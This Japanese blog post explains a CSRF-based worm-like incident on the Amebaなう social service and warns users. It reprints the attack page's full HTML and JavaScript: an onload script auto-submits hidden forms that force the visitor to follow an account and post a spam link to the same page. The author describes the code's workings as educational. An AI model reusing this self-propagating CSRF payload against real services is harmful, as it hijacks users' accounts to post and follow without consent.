「Ameba（アメーバ）なう」でこんにちは！祭
1年以上前の記事です。内容が古い可能性があります。
先日、パソコン版が使えるようになったばかりの「Amebaなう」でこんにちは!!ワーム（のようなもの）が発生しているそうだ。
□【緊急】アメーバなう利用中の皆さんへ【ご注意！】｜ぼくはまちちゃん！(アメーバ)
お友達の書き込みに「こんにちはこんにちは！！」というものがあったら 絶対にクリックしないでください！！！！
アメーバにアクセスしている状態でこちらのリンクを踏むと感染？する。
□アメーバなうでこんにちは！ （←今は動かないようですが念のため踏まないでください）
ネットワーク 現場の教科書 増補改訂版 (IDGムックシリーズ)
販売元：アイ・ディ・ジー・ジャパン
発売日：2008-07-16
レビューを見る
クロスサイトスクリプティングに似たクロスサイトリクエストフォージェリ（CSRF）といった技術を使ったワームのようなものらしい。
□＠IT：「ぼくはまちちゃん」 ――知られざるCSRF攻撃
ちなみにソースはHTMLとJavascriptだけという簡単なもの。
勉強になるので公開しちゃう。いいですよね、製作者さん。
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>アメーバなうでこんにちは！</title>
</head>
<body onload="document.getElementById('f1').submit();document.getElementById('f2').submit()">
<form action="http://now.ameba.jp/api/follow" method="post" id="f1" target="ifr1">
<input type="text" name="followAmebaId" value="主のID">
</form>
<form action="http://ucsnow.ameba.jp/post" method="post" id="f2" target="ifr2">
<input type="text" name="entryText" value="こんにちはこんにちは！！ http://bit.ly/7RIjd8">
<input type="text" name="replyEntryId" value="0000">
</form>
<iframe name="ifr1"></iframe>
<iframe name="ifr2"></iframe>
</body>
</html>
このページを開くとonloadで書かれたスクリプトが実行される。
スクリプトにはフォームのサブミット（送信）ボタンを押せと書かれている。
で、そのフォームが「Amebaなう」に上記サイトのリンクを入れた定型文を書き込むフォームと、主さん？をフォローするフォームになっている。
ちなみにiframeはその結果を表示させるためにある。
（followAmebaIdとreplyEntryIdは書き換えました）
まあ、単純に「Amebaなう」内だけではなく、外部からも書き込みやフォローができるようになっていたということだと思う。
とりあえず現在は閉めちゃったみたいで動いていないみたい。
主さんのAmebaなうアカウントも消されちゃったみたいですし。。
一部ではAmebaのマーケティング手法の一つだろうと言っている人もいますが果たして。。
■Amebaなう（アメーバなう）
□のりささんの投稿したなう | Amebaなう(アメーバなう)
※ この記事は前日の深夜書いたものでして、現在上記「アメーバなうでこんにちは！」のサイトは全く危険性の無いサイトに入れ替わっています。（公開時追記）
※ ブコメで指摘受けたのでワーム（のようなもの）に表記を変えました。ちなみにワームとは （さらに追記）
アドセンス広告メイン
関連記事
-
-
男女7人総裁選物語に騙されるな!!（自民党総裁選）
1年以上前の記事です。内容が古い可能性があります。福田さんの突然の辞任には驚かさ …
-
-
便利は人を堕落させる（「ネットでコピペ病」問題）
1年以上前の記事です。内容が古い可能性があります。□大学生から小学生まで 「ネッ …
-
-
無線LANは気をつけよう（WEPを解読するソフトが登場）
1年以上前の記事です。内容が古い可能性があります。非常に怖いニュースです。 □一 …
-
-
2016参議院議員選挙総括（与党が議席増）
1年以上前の記事です。内容が古い可能性があります。皆さん、選挙へは行きましたか？ …
-
-
「iPhone6」おサイフケータイ対応ｷﾀ━━━━(ﾟ∀ﾟ)━━━━!! か？
1年以上前の記事です。内容が古い可能性があります。やっとiPhoneに戻れるよう …
-
-
WordPressでコンテンツの一部（記事途中から等）だけに認証（閲覧制限）をかける方法
1年以上前の記事です。内容が古い可能性があります。まさか、当ブログにこのシステム …
-
-
「ニンテンドー3DS」の発売日は11月20日？【今週のトピック】
1年以上前の記事です。内容が古い可能性があります。任天堂の今年度の目玉商品「ニン …
-
-
今年も24時間テレビが放送されました【今週のトピック】
1年以上前の記事です。内容が古い可能性があります。そんなに見てないけどもう終わっ …
-
-
デジカメやSNSに顔認識させないメガネ（ゴーグル）。プライバシーバイザーが変
1年以上前の記事です。内容が古い可能性があります。デジカメにも顔を認識してより綺 …
-
-
吉野家ツイッターのツイートが意味不明でかわええ
1年以上前の記事です。内容が古い可能性があります。吉野家のツイッターアカウントが …
